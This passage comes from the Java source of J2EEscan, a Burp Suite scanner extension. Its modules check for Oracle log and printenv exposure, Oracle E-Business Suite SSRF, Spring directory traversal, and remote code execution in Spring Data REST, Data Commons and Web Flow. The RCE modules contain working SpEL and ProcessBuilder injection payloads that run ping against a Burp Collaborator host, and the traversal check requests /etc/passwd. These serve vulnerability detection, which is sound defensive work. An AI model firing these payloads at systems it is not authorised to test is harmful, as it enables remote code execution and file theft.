byte[] checkRequest = insertionPoint.buildRequest(NODEJS_INJ); 71 | 72 | IHttpRequestResponse checkRequestResponse = callbacks.makeHttpRequest( 73 | baseRequestResponse.getHttpService(), checkRequest); 74 | 75 | byte[] response = checkRequestResponse.getResponse(); 76 | 77 | IResponseInfo respInfo = helpers.analyzeResponse(response); 78 | 79 | if (getResponseHeaderValue(respInfo, "InjectionHeader") != null) { 80 | issues.add(new CustomScanIssue( 81 | baseRequestResponse.getHttpService(), 82 | helpers.analyzeRequest(baseRequestResponse).getUrl(), 83 | checkRequestResponse, 84 | TITLE, 85 | DESCRIPTION, 86 | REMEDY, 87 | Risk.Medium, 88 | Confidence.Certain 89 | )); 90 | } 91 | 92 | return issues; 93 | 94 | } 95 | } 96 | -------------------------------------------------------------------------------- /src/main/java/burp/j2ee/issues/impl/OASSqlnetLogDisclosure.java: -------------------------------------------------------------------------------- 1 | package burp.j2ee.issues.impl; 2 | 3 | import burp.CustomHttpRequestResponse; 4 | import static burp.HTTPMatcher.getMatches; 5 | import burp.IBurpExtenderCallbacks; 6 | import burp.IExtensionHelpers; 7 | import burp.IHttpRequestResponse; 8 | import burp.IRequestInfo; 9 | import burp.IResponseInfo; 10 | import burp.IScanIssue; 11 | import burp.IScannerInsertionPoint; 12 | import burp.j2ee.Confidence; 13 | import burp.j2ee.CustomScanIssue; 14 | import burp.j2ee.Risk; 15 | import burp.j2ee.annotation.RunOnlyOnce; 16 | import burp.j2ee.issues.IModule; 17 | 18 | import java.io.PrintWriter; 19 | import java.net.MalformedURLException; 20 | import java.net.URL; 21 | import java.util.ArrayList; 22 | import java.util.Arrays; 23 | import java.util.LinkedHashSet; 24 | import java.util.List; 25 | 26 | /** 27 | * 28 | * Detection Oracle Database sqlnet.log file disclosure 29 | * 30 | * 31 | */ 32 | public class OASSqlnetLogDisclosure implements IModule { 33 | 34 | private static final String TITLE = "Information Disclosure - Oracle Log Database Accessible"; 35 | private static final String DESCRIPTION = "J2EEscan identified an information disclosure issue. " 36 | + "Application log sqlnet.log is publicly available, and may " 37 | + "contain sensitive internal information (es: internal paths, usernames, internal IP) " 38 | + "not intended for public viewing." 39 | + "

" 40 | + "References:

" 41 | + "https://docs.oracle.com/cd/A57673_01/DOC/net/doc/NWTR23/apa.htm
" 42 | + "http://www.stigviewer.com/stig/oracle_database_10g_installation/2014-04-02/finding/V-2612"; 43 | private static final String REMEDY = "Update the OAS with the last security patches, " 44 | + "and restrict access to the resource sqlnet.log"; 45 | 46 | // List of host and port system already tested 47 | private static LinkedHashSet hs = new LinkedHashSet(); 48 | private static final List SQLNETLOG_PATHS = Arrays.asList( 49 | "/sqlnet.log" 50 | ); 51 | 52 | private PrintWriter stderr; 53 | private static final List GREP_STRINGS = Arrays.asList( 54 | "VERSION INFORMATION".getBytes() 55 | ); 56 | 57 | @RunOnlyOnce 58 | public List scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) { 59 | 60 | List issues = new ArrayList<>(); 61 | 62 | IExtensionHelpers helpers = callbacks.getHelpers(); 63 | stderr = new PrintWriter(callbacks.getStderr(), true); 64 | 65 | IRequestInfo reqInfo = helpers.analyzeRequest(baseRequestResponse); 66 | 67 | URL url = reqInfo.getUrl(); 68 | String host = url.getHost(); 69 | int port = url.getPort(); 70 | 71 | String system = host.concat(Integer.toString(port)); 72 | 73 | // System not yet tested for this vulnerability 74 | if (!hs.contains(system)) { 75 | 76 | hs.add(system); 77 | 78 | String protocol = url.getProtocol(); 79 | Boolean isSSL = (protocol.equals("https")); 80 | 81 | for (String SQLLOG_PATH : SQLNETLOG_PATHS) { 82 | 83 | try { 84 | // Test the presence of tomcat console 85 | URL urlToTest = new URL(protocol, url.getHost(), url.getPort(), SQLLOG_PATH); 86 | byte[] oastest = helpers.buildHttpRequest(urlToTest); 87 | 88 | byte[] responseBytes = callbacks.makeHttpRequest(url.getHost(), 89 | url.getPort(), isSSL, oastest); 90 | 91 | // look for matches of our active check grep string in the response body 92 | IResponseInfo statusInfo = helpers.analyzeResponse(responseBytes); 93 | 94 | if (statusInfo.getStatusCode() == 200) { 95 | 96 | for (byte[] grepString : GREP_STRINGS) { 97 | List matches_j2ee = getMatches(responseBytes, grepString, helpers); 98 | if (matches_j2ee.size() > 0) { 99 | 100 | issues.add(new CustomScanIssue( 101 | baseRequestResponse.getHttpService(), 102 | helpers.analyzeRequest(baseRequestResponse).getUrl(), 103 | new CustomHttpRequestResponse(oastest, responseBytes, baseRequestResponse.getHttpService()), 104 | TITLE, 105 | DESCRIPTION, 106 | REMEDY, 107 | Risk.Low, 108 | Confidence.Certain 109 | )); 110 | 111 | } 112 | } 113 | } 114 | 115 | } catch (MalformedURLException ex) { 116 | stderr.println("Malformed URL Exception " + ex); 117 | } 118 | } 119 | } 120 | 121 | return issues; 122 | } 123 | 124 | } 125 | -------------------------------------------------------------------------------- /src/main/java/burp/j2ee/issues/impl/OracleCGIPrintEnv.java: -------------------------------------------------------------------------------- 1 | package burp.j2ee.issues.impl; 2 | 3 | import burp.CustomHttpRequestResponse; 4 | import static burp.HTTPMatcher.URIMutator; 5 | import static burp.HTTPMatcher.getMatches; 6 | import burp.IBurpExtenderCallbacks; 7 | import burp.IExtensionHelpers; 8 | import burp.IHttpRequestResponse; 9 | import burp.IRequestInfo; 10 | import burp.IResponseInfo; 11 | import burp.IScanIssue; 12 | import burp.IScannerInsertionPoint; 13 | import burp.j2ee.Confidence; 14 | import burp.j2ee.CustomScanIssue; 15 | import burp.j2ee.Risk; 16 | import burp.j2ee.annotation.RunOnlyOnce; 17 | import burp.j2ee.issues.IModule; 18 | 19 | import java.io.PrintWriter; 20 | import java.net.MalformedURLException; 21 | import java.net.URL; 22 | import java.util.ArrayList; 23 | import java.util.Arrays; 24 | import java.util.List; 25 | 26 | 27 | public class OracleCGIPrintEnv implements IModule { 28 | 29 | private static final String TITLE_INFO_DISCLOSURE = "Information Disclosure - cgi printenv"; 30 | private static final String DESCRIPTION_INFO_DISCLOSURE = "J2EEscan identified an information disclosure issue " 31 | + "in the /cgi-bin/printenv path which reveals internal system information."; 32 | 33 | private static final List CGIENV_PATHS = Arrays.asList( 34 | "/cgi-bin/printenv" 35 | ); 36 | 37 | private PrintWriter stderr; 38 | private PrintWriter stdout; 39 | 40 | private static final byte[] GREP_STRINGS = "DOCUMENT_ROOT".getBytes(); 41 | 42 | @RunOnlyOnce 43 | public List scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) { 44 | List issues = new ArrayList<>(); 45 | 46 | IExtensionHelpers helpers = callbacks.getHelpers(); 47 | stderr = new PrintWriter(callbacks.getStderr(), true); 48 | stdout = new PrintWriter(callbacks.getStdout(), true); 49 | 50 | IRequestInfo reqInfo = helpers.analyzeRequest(baseRequestResponse); 51 | 52 | URL url = reqInfo.getUrl(); 53 | 54 | String protocol = url.getProtocol(); 55 | Boolean isSSL = (protocol.equals("https")); 56 | 57 | List CGIENV_PATHS_MUTATED = URIMutator(CGIENV_PATHS); 58 | for (String CGIENV_PATH : CGIENV_PATHS_MUTATED) { 59 | 60 | try { 61 | 62 | // Test for printenv cgi 63 | URL cgiUrlToTest = new URL(protocol, url.getHost(), url.getPort(), CGIENV_PATH); 64 | byte[] cgienvTest = helpers.buildHttpRequest(cgiUrlToTest); 65 | byte[] cgienvResponse = callbacks.makeHttpRequest(url.getHost(), 66 | url.getPort(), isSSL, cgienvTest); 67 | IResponseInfo cgienvInfo = helpers.analyzeResponse(cgienvResponse); 68 | 69 | if (cgienvInfo.getStatusCode() == 200) { 70 | 71 | String cgiResponse = helpers.bytesToString(cgienvResponse); 72 | String cgienvResponseBody = cgiResponse.substring(cgienvInfo.getBodyOffset()); 73 | 74 | // look for matches of our active check grep string 75 | List matchHappyAxis = getMatches(helpers.stringToBytes(cgienvResponseBody), 76 | GREP_STRINGS, helpers); 77 | 78 | if ((matchHappyAxis.size() > 0)) { 79 | stdout.println("cgi-bin/printenv detected " + cgiUrlToTest.toString()); 80 | 81 | issues.add(new CustomScanIssue( 82 | baseRequestResponse.getHttpService(), 83 | cgiUrlToTest, 84 | new CustomHttpRequestResponse(cgienvTest, cgienvResponse, baseRequestResponse.getHttpService()), 85 | TITLE_INFO_DISCLOSURE, 86 | DESCRIPTION_INFO_DISCLOSURE, 87 | "Disable remote access to the debug/test cgi", 88 | Risk.Low, 89 | Confidence.Certain 90 | )); 91 | } 92 | } 93 | } catch (MalformedURLException ex) { 94 | stderr.println("Malformed URL Exception " + ex); 95 | } 96 | } 97 | 98 | return issues; 99 | 100 | } 101 | 102 | } 103 | -------------------------------------------------------------------------------- /src/main/java/burp/j2ee/issues/impl/OracleEBSSSRF.java: -------------------------------------------------------------------------------- 1 | package burp.j2ee.issues.impl; 2 | 3 | import burp.CustomHttpRequestResponse; 4 | import burp.IBurpExtenderCallbacks; 5 | import burp.IExtensionHelpers; 6 | import burp.IHttpRequestResponse; 7 | import burp.IScanIssue; 8 | import burp.IScannerInsertionPoint; 9 | import burp.IBurpCollaboratorClientContext; 10 | import burp.IBurpCollaboratorInteraction; 11 | import burp.IRequestInfo; 12 | import burp.IResponseInfo; 13 | 14 | import burp.j2ee.Confidence; 15 | import burp.j2ee.CustomScanIssue; 16 | import burp.j2ee.Risk; 17 | import burp.j2ee.annotation.RunOnlyOnce; 18 | import burp.j2ee.issues.IModule; 19 | import java.io.PrintWriter; 20 | import java.net.MalformedURLException; 21 | import java.net.URL; 22 | 23 | import java.util.ArrayList; 24 | import java.util.LinkedHashSet; 25 | import java.util.List; 26 | 27 | 28 | /** 29 | * 30 | * Oracle E-Business Suite - Server Side Request Forgery 31 | * 32 | * 33 | * 34 | * Refs: 35 | * - CVE-2017-10246 - https://www.exploit-db.com/exploits/42340 - 36 | * 37 | * 38 | * TODO XXE - 39 | * https://packetstormsecurity.com/files/134117/Oracle-E-Business-Suite-12.1.3-XXE-Injection.html 40 | * 41 | */ 42 | public class OracleEBSSSRF implements IModule { 43 | 44 | private static final String TITLE = "Oracle E-Business Suite - SSRF"; 45 | private static final String DESCRIPTION = "J2EEscan detect a Server Side Request Forgery on the Oracle E-Business Suite
" 46 | + "

" 47 | + "References:

" 48 | + "https://www.exploit-db.com/exploits/42340
"; 49 | 50 | private static final String REMEDY = "It's reccomended to apply the security patch provided by Oracle:
" 51 | + "https://nvd.nist.gov/vuln/detail/CVE-2017-10246
"; 52 | 53 | // List of host and port system already tested 54 | private static LinkedHashSet hs = new LinkedHashSet(); 55 | 56 | private PrintWriter stderr; 57 | 58 | @RunOnlyOnce 59 | public List scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) { 60 | 61 | IExtensionHelpers helpers = callbacks.getHelpers(); 62 | stderr = new PrintWriter(callbacks.getStderr(), true); 63 | 64 | List issues = new ArrayList<>(); 65 | 66 | IRequestInfo reqInfo = helpers.analyzeRequest(baseRequestResponse); 67 | 68 | URL url = reqInfo.getUrl(); 69 | String host = url.getHost(); 70 | int port = url.getPort(); 71 | String protocol = url.getProtocol(); 72 | Boolean isSSL = (protocol.equals("https")); 73 | 74 | String system = host.concat(Integer.toString(port)); 75 | 76 | // Collaborator context 77 | IBurpCollaboratorClientContext collaboratorContext = callbacks.createBurpCollaboratorClientContext(); 78 | String currentCollaboratorPayload = collaboratorContext.generatePayload(true); 79 | 80 | String Oracle_SSRF_Help = String.format("/OA_HTML/help?locale=en_AE&group=per:br_prod_HR:US&topic=http://%s:80/", currentCollaboratorPayload); 81 | 82 | // System not yet tested for this vulnerability 83 | if (!hs.contains(system)) { 84 | 85 | hs.add(system); 86 | 87 | try { 88 | URL urlToTest = new URL(protocol, url.getHost(), url.getPort(), Oracle_SSRF_Help); 89 | 90 | byte[] helpSSRFtest = helpers.buildHttpRequest(urlToTest); 91 | 92 | byte[] responseBytes = callbacks.makeHttpRequest(url.getHost(), 93 | url.getPort(), isSSL, helpSSRFtest); 94 | 95 | // Poll Burp Collaborator for remote interaction 96 | List collaboratorInteractions = collaboratorContext.fetchCollaboratorInteractionsFor(currentCollaboratorPayload); 97 | 98 | if (!collaboratorInteractions.isEmpty()) { 99 | 100 | issues.add(new CustomScanIssue( 101 | baseRequestResponse.getHttpService(), 102 | urlToTest, 103 | new CustomHttpRequestResponse(helpSSRFtest, responseBytes, baseRequestResponse.getHttpService()), 104 | TITLE, 105 | DESCRIPTION, 106 | REMEDY, 107 | Risk.High, 108 | Confidence.Certain 109 | )); 110 | } 111 | 112 | } catch (MalformedURLException ex) { 113 | stderr.println("Malformed URL Exception " + ex); 114 | } 115 | 116 | } 117 | 118 | return issues; 119 | 120 | } 121 | } 122 | -------------------------------------------------------------------------------- /src/main/java/burp/j2ee/issues/impl/PivotalSpringTraversalCVE20143625.java: -------------------------------------------------------------------------------- 1 | package burp.j2ee.issues.impl; 2 | 3 | import static burp.HTTPMatcher.isEtcPasswdFile; 4 | import burp.IBurpExtenderCallbacks; 5 | import burp.IExtensionHelpers; 6 | import burp.IHttpRequestResponse; 7 | import burp.IRequestInfo; 8 | import burp.IScanIssue; 9 | import burp.IScannerInsertionPoint; 10 | import burp.j2ee.Confidence; 11 | import burp.j2ee.CustomScanIssue; 12 | import burp.j2ee.Risk; 13 | import burp.j2ee.issues.IModule; 14 | import java.io.PrintWriter; 15 | import java.net.URL; 16 | import java.util.ArrayList; 17 | import java.util.Arrays; 18 | import java.util.List; 19 | 20 | /** 21 | * 22 | * Pivotal Spring Traversal issue CVE 2014-3625 23 | * 24 | * Directory traversal vulnerability in Pivotal Spring Framework 3.0.4 through 25 | * 3.2.x before 3.2.12, 4.0.x before 4.0.8, and 4.1.x before 4.1.2 allows remote 26 | * attackers to read arbitrary files via unspecified vectors, related to static 27 | * resource handling. 28 | * 29 | * A not common `mvc:resources` tag configuration is needed to trigger the 30 | * vulnerability 31 | * 32 | * 33 | * Credits: Special thanks to @Caligin35 34 | * 35 | * 36 | */ 37 | public class PivotalSpringTraversalCVE20143625 implements IModule { 38 | 39 | private static final String TITLE = "Pivotal Spring Traversal CVE 2014-3625"; 40 | private static final String DESCRIPTION = "J2EEscan identified a Directory Traversal vulnerability due " 41 | + "to an outdated Spring library.

" 42 | + "References
" 43 | + "http://pivotal.io/security/cve-2014-3625
" 44 | + "https://jira.spring.io/browse/SPR-12354"; 45 | 46 | private static final String REMEDY = "Change the mvc:resources tag configuration and update the spring library"; 47 | 48 | private static final String INJ = "file:/etc/passwd"; 49 | 50 | private static final List staticURLFolders = Arrays.asList( 51 | "/resources/", 52 | "/files/", 53 | "/upload/", 54 | "/static/", 55 | "/content/", 56 | "/html/", 57 | "/deploy/" 58 | ); 59 | 60 | private PrintWriter stderr; 61 | 62 | /** 63 | * 64 | * Mutator to modify static URI path with the Injection to trigger Traversal issue 65 | * 66 | * GET /spring-css/resources/css/main.css HTTP/1.1 67 | * Host: localhost:8084 68 | * Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate 69 | * Referer:http://localhost:8084/spring-css/ 70 | * Cookie: JSESSIONID=1C4FD6278C5D1F6448430219B83213C1 71 | * Connection: close 72 | */ 73 | private String mutator(String httpRequest, String staticResourceFolder, String payload) { 74 | return httpRequest.replaceFirst(staticResourceFolder + ".* ", payload + " "); 75 | } 76 | 77 | @Override 78 | public List scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) { 79 | 80 | stderr = new PrintWriter(callbacks.getStderr(), true); 81 | 82 | List issues = new ArrayList<>(); 83 | IExtensionHelpers helpers = callbacks.getHelpers(); 84 | 85 | IRequestInfo reqInfo = helpers.analyzeRequest(baseRequestResponse); 86 | 87 | // Skip not GET requests 88 | if (!reqInfo.getMethod().equals("GET")) { 89 | return issues; 90 | } 91 | 92 | URL url = reqInfo.getUrl(); 93 | 94 | String currentPath = url.getPath(); 95 | 96 | for (String staticResourceFolder : staticURLFolders) { 97 | 98 | if (currentPath.contains(staticResourceFolder)) { 99 | 100 | byte[] rawrequest = baseRequestResponse.getRequest(); 101 | String HTTPRequest = callbacks.getHelpers().bytesToString(rawrequest); 102 | 103 | String mutatedHTTPRequest = mutator(HTTPRequest, staticResourceFolder, staticResourceFolder + INJ); 104 | 105 | IHttpRequestResponse checkRequestResponse = callbacks.makeHttpRequest( 106 | baseRequestResponse.getHttpService(), 107 | callbacks.getHelpers().stringToBytes(mutatedHTTPRequest)); 108 | 109 | if (isEtcPasswdFile(checkRequestResponse.getResponse(), helpers)) { 110 | issues.add(new CustomScanIssue( 111 | baseRequestResponse.getHttpService(), 112 | helpers.analyzeRequest(baseRequestResponse).getUrl(), 113 | checkRequestResponse, 114 | TITLE, 115 | DESCRIPTION, 116 | REMEDY, 117 | Risk.High, 118 | Confidence.Certain 119 | )); 120 | } 121 | 122 | } 123 | } 124 | 125 | return issues; 126 | 127 | } 128 | } 129 | -------------------------------------------------------------------------------- /src/main/java/burp/j2ee/issues/impl/SpringBootRestRCE.java: -------------------------------------------------------------------------------- 1 | package burp.j2ee.issues.impl; 2 | 3 | import static burp.HTTPMatcher.isJavaApplicationByURL; 4 | import burp.HTTPParser; 5 | import static burp.HTTPParser.isJSONRequest; 6 | import burp.IBurpCollaboratorClientContext; 7 | import burp.IBurpCollaboratorInteraction; 8 | import burp.IBurpExtenderCallbacks; 9 | import burp.IExtensionHelpers; 10 | import burp.IHttpRequestResponse; 11 | import burp.IRequestInfo; 12 | import burp.IScanIssue; 13 | import burp.IScannerInsertionPoint; 14 | import burp.j2ee.Confidence; 15 | import burp.j2ee.CustomScanIssue; 16 | import burp.j2ee.Risk; 17 | import burp.j2ee.issues.IModule; 18 | 19 | import java.io.PrintWriter; 20 | import java.net.URL; 21 | import java.util.ArrayList; 22 | import java.util.LinkedHashSet; 23 | import java.util.List; 24 | 25 | /** 26 | * 27 | * Security issue in Spring Data REST (CVE-2017-8046) 28 | * 29 | * 30 | * References: 31 | * https://spring.io/blog/2018/03/06/security-issue-in-spring-data-rest-cve-2017-8046 32 | * 33 | * 34 | */ 35 | public class SpringBootRestRCE implements IModule { 36 | 37 | private static final String TITLE = "Spring Data REST - Remote Command Execution CVE-2017-8046"; 38 | private static final String DESCRIPTION = "J2EEscan identified the a remote command execution on Spring Data REST (CVE-2017-8046).
"; 39 | private static final String REMEDY = "Update the remote library with the last security patches provided by Pivotal:
" 40 | + "
  • https://spring.io/blog/2018/03/06/security-issue-in-spring-data-rest-cve-2017-8046
"; 41 | 42 | // List of applications already tested, to avoid duplicate scans on the same item 43 | private static LinkedHashSet hsc = new LinkedHashSet(); 44 | 45 | private PrintWriter stderr; 46 | private PrintWriter stdout; 47 | 48 | 49 | public List scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) { 50 | 51 | IExtensionHelpers helpers = callbacks.getHelpers(); 52 | stderr = new PrintWriter(callbacks.getStderr(), true); 53 | stdout = new PrintWriter(callbacks.getStdout(), true); 54 | 55 | List issues = new ArrayList<>(); 56 | 57 | IRequestInfo reqInfo = helpers.analyzeRequest(baseRequestResponse); 58 | URL url = reqInfo.getUrl(); 59 | 60 | if (!isJavaApplicationByURL(url)) { 61 | return issues; 62 | } 63 | 64 | String contentTypeHeader = HTTPParser.getRequestHeaderValue(reqInfo, "Content-type"); 65 | 66 | if (contentTypeHeader == null) { 67 | return issues; 68 | } 69 | 70 | // Skip not JSON requests 71 | if (!isJSONRequest(contentTypeHeader)) { 72 | return issues; 73 | } 74 | 75 | String host = url.getHost(); 76 | String system = host.concat(url.getPath()); 77 | 78 | // System not yet tested for this vulnerability 79 | if (!hsc.contains(system)) { 80 | 81 | hsc.add(system); 82 | 83 | List headers = reqInfo.getHeaders(); 84 | String firstHeader = headers.get(0); 85 | headers.set(0, firstHeader.replaceFirst("POST ", "PATCH ")); 86 | 87 | List headersWithContentTypePatch = HTTPParser.addOrUpdateHeader(headers, "Content-type", "application/json-patch+json"); 88 | List headersWithContentTypePatchAndAccept = HTTPParser.addOrUpdateHeader(headersWithContentTypePatch, "Accept", "*/*"); 89 | 90 | // Collaborator context 91 | IBurpCollaboratorClientContext collaboratorContext = callbacks.createBurpCollaboratorClientContext(); 92 | 93 | // New collaborator unique URI generated ( example f2ivf62a9k7w14h8o8cg7x10prvhj6.burpcollaborator.net ) 94 | String currentCollaboratorPayload = collaboratorContext.generatePayload(true); 95 | 96 | // Payload to trigger remote ping 97 | String payload = String.format("\\\"ping -c 2 %s\\\"", currentCollaboratorPayload); 98 | String finalPayload = "[{ \"op\" : \"replace\", \"path\" : \"T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec(" + payload + ").getInputStream(), T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream()).x\", \"value\" : \"j2eescan\" }]"; 99 | 100 | byte[] message = helpers.buildHttpMessage(headersWithContentTypePatchAndAccept, finalPayload.getBytes()); 101 | IHttpRequestResponse resp = callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), message); 102 | 103 | // Poll Burp Collaborator for remote interaction 104 | List collaboratorInteractions = collaboratorContext.fetchCollaboratorInteractionsFor(currentCollaboratorPayload); 105 | 106 | if (!collaboratorInteractions.isEmpty()) { 107 | issues.add(new CustomScanIssue( 108 | baseRequestResponse.getHttpService(), 109 | reqInfo.getUrl(), 110 | resp, 111 | TITLE, 112 | DESCRIPTION, 113 | REMEDY, 114 | Risk.High, 115 | Confidence.Certain 116 | )); 117 | } 118 | 119 | 120 | } 121 | 122 | return issues; 123 | 124 | } 125 | 126 | } 127 | -------------------------------------------------------------------------------- /src/main/java/burp/j2ee/issues/impl/SpringDataCommonRCE.java: -------------------------------------------------------------------------------- 1 | package burp.j2ee.issues.impl; 2 | 3 | import static burp.HTTPMatcher.isJavaApplicationByURL; 4 | import burp.HTTPParser; 5 | import static burp.HTTPParser.isJSONRequest; 6 | import burp.IBurpCollaboratorClientContext; 7 | import burp.IBurpCollaboratorInteraction; 8 | import burp.IBurpExtenderCallbacks; 9 | import burp.IExtensionHelpers; 10 | import burp.IHttpRequestResponse; 11 | import burp.IRequestInfo; 12 | import burp.IScanIssue; 13 | import burp.IScannerInsertionPoint; 14 | import burp.j2ee.Confidence; 15 | import burp.j2ee.CustomScanIssue; 16 | import burp.j2ee.Risk; 17 | import burp.j2ee.issues.IModule; 18 | import java.io.PrintWriter; 19 | import java.net.URL; 20 | import java.util.ArrayList; 21 | import java.util.List; 22 | 23 | /** 24 | * 25 | * Spring Data Commons Remote Code Execution - CVE-2018-1273 26 | * 27 | * 28 | */ 29 | public class SpringDataCommonRCE implements IModule { 30 | 31 | private static final String TITLE = "Spring Data Commons Remote Code Execution - CVE-2018-1273"; 32 | private static final String DESCRIPTION = "J2EEscan identified a remote command execution on the Spring Data Commons component.
" 33 | + "Spring Data Commons, versions prior to 1.13 to 1.13.10, 2.0 to 2.0.5, and older unsupported versions, contain a property binder " 34 | + "vulnerability caused by improper neutralization of special elements. " 35 | + "

" 36 | + "References:
" 37 | + "https://pivotal.io/security/cve-2018-1273
" 38 | + "https://gist.github.com/matthiaskaiser/bfb274222c009b3570ab26436dc8799e
" 39 | + "https://github.com/spring-projects/spring-data-commons/commit/b1a20ae1e82a63f99b3afc6f2aaedb3bf4dc432a
" 40 | + "https://github.com/spring-projects/spring-data-commons/commit/ae1dd2741ce06d44a0966ecbd6f47beabde2b653
" 41 | + "https://twitter.com/h3xstream/status/984098634353475584
" 42 | + "https://mp.weixin.qq.com/s?__biz=MzU0NzYzMzU0Mw==&mid=2247483666&idx=1&sn=91e3b2aab354c55e0677895c02fb068c
" 43 | + "https://xz.aliyun.com/t/2269"; 44 | 45 | private static final String REMEDY = "Upgrade the Spring Data Commons library"; 46 | 47 | private PrintWriter stderr; 48 | private PrintWriter stdout; 49 | 50 | @Override 51 | public List scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) { 52 | 53 | IExtensionHelpers helpers = callbacks.getHelpers(); 54 | stderr = new PrintWriter(callbacks.getStderr(), true); 55 | stdout = new PrintWriter(callbacks.getStdout(), true); 56 | 57 | IRequestInfo reqInfo = helpers.analyzeRequest(baseRequestResponse); 58 | 59 | URL url = reqInfo.getUrl(); 60 | 61 | List issues = new ArrayList<>(); 62 | 63 | if (!isJavaApplicationByURL(url)) { 64 | return issues; 65 | } 66 | 67 | String contentTypeHeader = HTTPParser.getRequestHeaderValue(reqInfo, "Content-type"); 68 | 69 | // Skip not POST request and request with JSON elements 70 | if (contentTypeHeader == null) { 71 | return issues; 72 | } 73 | if (isJSONRequest(contentTypeHeader)) { 74 | return issues; 75 | } 76 | 77 | List headers = reqInfo.getHeaders(); 78 | String request = helpers.bytesToString(baseRequestResponse.getRequest()); 79 | String requestBody = request.substring(reqInfo.getBodyOffset()); 80 | 81 | String injection = "[#this.getClass().forName(\"java.lang.Runtime\").getRuntime().exec(\"%s\")]="; 82 | // Alternative payload 83 | // [#this.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('ping+host')")] 84 | 85 | // Collaborator context 86 | IBurpCollaboratorClientContext collaboratorContext = callbacks.createBurpCollaboratorClientContext(); 87 | String currentCollaboratorPayload = collaboratorContext.generatePayload(true); 88 | 89 | // Payload to trigger remote ping 90 | String pingPayload = "ping -c 3 " + currentCollaboratorPayload; 91 | String finalPayload = String.format(injection, pingPayload); 92 | String updatedBody = requestBody.replace("=", finalPayload); 93 | 94 | // Build request 95 | byte[] message = helpers.buildHttpMessage(headers, updatedBody.getBytes()); 96 | IHttpRequestResponse resp = callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), message); 97 | 98 | // Poll Burp Collaborator for remote interaction 99 | List collaboratorInteractions = collaboratorContext.fetchCollaboratorInteractionsFor(currentCollaboratorPayload); 100 | 101 | if (!collaboratorInteractions.isEmpty()) { 102 | issues.add(new CustomScanIssue( 103 | baseRequestResponse.getHttpService(), 104 | reqInfo.getUrl(), 105 | resp, 106 | TITLE, 107 | DESCRIPTION, 108 | REMEDY, 109 | Risk.High, 110 | Confidence.Certain 111 | )); 112 | } 113 | 114 | return issues; 115 | 116 | } 117 | } 118 | -------------------------------------------------------------------------------- /src/main/java/burp/j2ee/issues/impl/SpringWebFlowDataBindExpressionCVE20174971.java: -------------------------------------------------------------------------------- 1 | package burp.j2ee.issues.impl; 2 | 3 | import static burp.HTTPMatcher.isJavaApplicationByURL; 4 | import burp.HTTPParser; 5 | import static burp.HTTPParser.isJSONRequest; 6 | import burp.IBurpCollaboratorClientContext; 7 | import burp.IBurpCollaboratorInteraction; 8 | import burp.IBurpExtenderCallbacks; 9 | import burp.IExtensionHelpers; 10 | import burp.IHttpRequestResponse; 11 | import burp.IParameter; 12 | import burp.IRequestInfo; 13 | import burp.IScanIssue; 14 | import burp.IScannerInsertionPoint; 15 | import burp.j2ee.Confidence; 16 | import burp.j2ee.CustomScanIssue; 17 | import burp.j2ee.Risk; 18 | import burp.j2ee.issues.IModule; 19 | import java.io.PrintWriter; 20 | import java.net.URL; 21 | import java.util.ArrayList; 22 | import java.util.List; 23 | 24 | /** 25 | * 26 | * Data Binding Expression Vulnerability in Spring Web Flow - CVE-2017-4971 27 | * 28 | * 29 | */ 30 | public class SpringWebFlowDataBindExpressionCVE20174971 implements IModule { 31 | 32 | private static final String TITLE = "Data Binding Expression Vulnerability in Spring Web Flow - CVE-2017-4971"; 33 | private static final String DESCRIPTION = "J2EEscan identified a remote command execution on Spring Web Flow component.
" 34 | + "Applications that do not change the value of the MvcViewFactoryCreator useSpringBinding property br />" 35 | + "which is disabled by default can be vulnerable to malicious EL expressions in view states." 36 | + "

" 37 | + "References:
" 38 | + "https://jira.spring.io/browse/SWF-1700
" 39 | + "https://github.com/spring-projects/spring-webflow/commit/57f2ccb66946943fbf3b3f2165eac1c8eb6b1523
" 40 | + "https://github.com/spring-projects/spring-webflow/commit/ec3d54d2305e6b6bce12f770fec67fe63008d45b"; 41 | 42 | private static final String REMEDY = "Upgrade the Spring Web Flow library"; 43 | 44 | private PrintWriter stderr; 45 | private PrintWriter stdout; 46 | 47 | @Override 48 | public List scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) { 49 | 50 | IExtensionHelpers helpers = callbacks.getHelpers(); 51 | stderr = new PrintWriter(callbacks.getStderr(), true); 52 | stdout = new PrintWriter(callbacks.getStdout(), true); 53 | 54 | IRequestInfo reqInfo = helpers.analyzeRequest(baseRequestResponse); 55 | 56 | byte[] modifiedRawRequest = null; 57 | 58 | URL url = reqInfo.getUrl(); 59 | 60 | List issues = new ArrayList<>(); 61 | 62 | if (!isJavaApplicationByURL(url)) { 63 | return issues; 64 | } 65 | 66 | String contentTypeHeader = HTTPParser.getRequestHeaderValue(reqInfo, "Content-type"); 67 | 68 | // Skip not POST request and request with JSON elements 69 | if (contentTypeHeader == null) { 70 | return issues; 71 | } 72 | if (isJSONRequest(contentTypeHeader)) { 73 | return issues; 74 | } 75 | 76 | List headers = reqInfo.getHeaders(); 77 | String request = helpers.bytesToString(baseRequestResponse.getRequest()); 78 | String requestBody = request.substring(reqInfo.getBodyOffset()); 79 | 80 | String injection = "_(new java.lang.ProcessBuilder(\"bash\",\"-c\",\"ping -c 3 %s\")).start()"; 81 | 82 | // Collaborator context 83 | IBurpCollaboratorClientContext collaboratorContext = callbacks.createBurpCollaboratorClientContext(); 84 | String currentCollaboratorPayload = collaboratorContext.generatePayload(true); 85 | 86 | String payloadSpringDataBind = String.format(injection, 